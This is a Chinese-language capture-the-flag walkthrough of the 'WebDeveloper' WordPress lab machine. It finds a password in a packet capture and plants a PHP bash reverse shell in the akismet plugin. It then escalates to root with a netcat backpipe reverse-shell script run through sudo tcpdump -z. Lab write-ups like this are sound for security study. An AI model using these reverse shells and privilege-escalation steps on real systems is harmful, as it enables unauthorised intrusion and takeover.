WebDeveloper:WordPress编辑插件获取反弹shell


靶机下载地址

1.信息收集

端口扫描

从nmap扫描结果可以看出,80端口是一个WordPress应用,版本是4.9.8.

用wpsan扫描靶机,枚举用户:

wpscan --url http://192.168.71.159 -e u

扫描到了用户webdeveloper,暴力破解密码,但是并没有成功。

目录扫描

没有其他方法了,尝试web枚举必备手段之一的目录扫描吧(可以和字典密码爆破同时进行):

dirb http://192.168.71.159

访问http://192.168.71.159/ipdata/

Wirshark分析数据获得密码

下载cap文件,然后用wireshark打开。打开这个包之后,发现应该是抓的是用户的登录过程,密码是通过post提交的,所以查找post包,看能不能发现密码信息。

在wireshark过滤器的地方输入:

http.request.method=="POST"

在第一个post包提交的表单中,发现了密码信息:

因此获得账密:webdeveloper/Te5eQg&4sBS!Yr$)wf%(DcAd

2.编辑插件获得反弹shell

用账密登录WordPress,登录成功。

首先枚举插件漏洞,查看安装了哪些插件:

这两个插件没有查到存在漏洞。

利用编辑插件的功能,编辑akismet.php文件,插入php reverse shell代码:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.71.139/4444 0>&1'");?>

在kali中监听端口:

nc -lnvp 4444 

点击激活插件按钮,获得反弹shell。

3.提权

查看WordPress的配置文件wp-config.php

发现了webdeveloper的密码MasterOfTheUniverse.

用ssh连接成功,登录到webdeveloper用户:

可利用tcpdump程序提权:

sudo-tcpdump提权法:

1)编写反弹shell脚本

#shell.sh
mknod backpipe p && nc 192.168.71.139 5555 0<backpipe | /bin/bash 1>backpipe

将shell.sh赋予执行权限。

2)在kali中监听端口

nc -lnvp 5555

3)利用tcpdump -z 参数执行脚本

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./shell.sh -Z root

获取到root权限的反弹shell。

获取到flag。

4.总结

WordPress靶机经验总结:

  • wpscan爆破密码和普通web枚举并行,节省时间;
  • 已安装插件无漏洞时可以编辑插件,植入反弹shell;
  • 进入系统首先查看WordPress的配置文件;
  • 某个应用可以sudo提权时,直接google方法,比如遇到过的nmap、tcpdump。

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录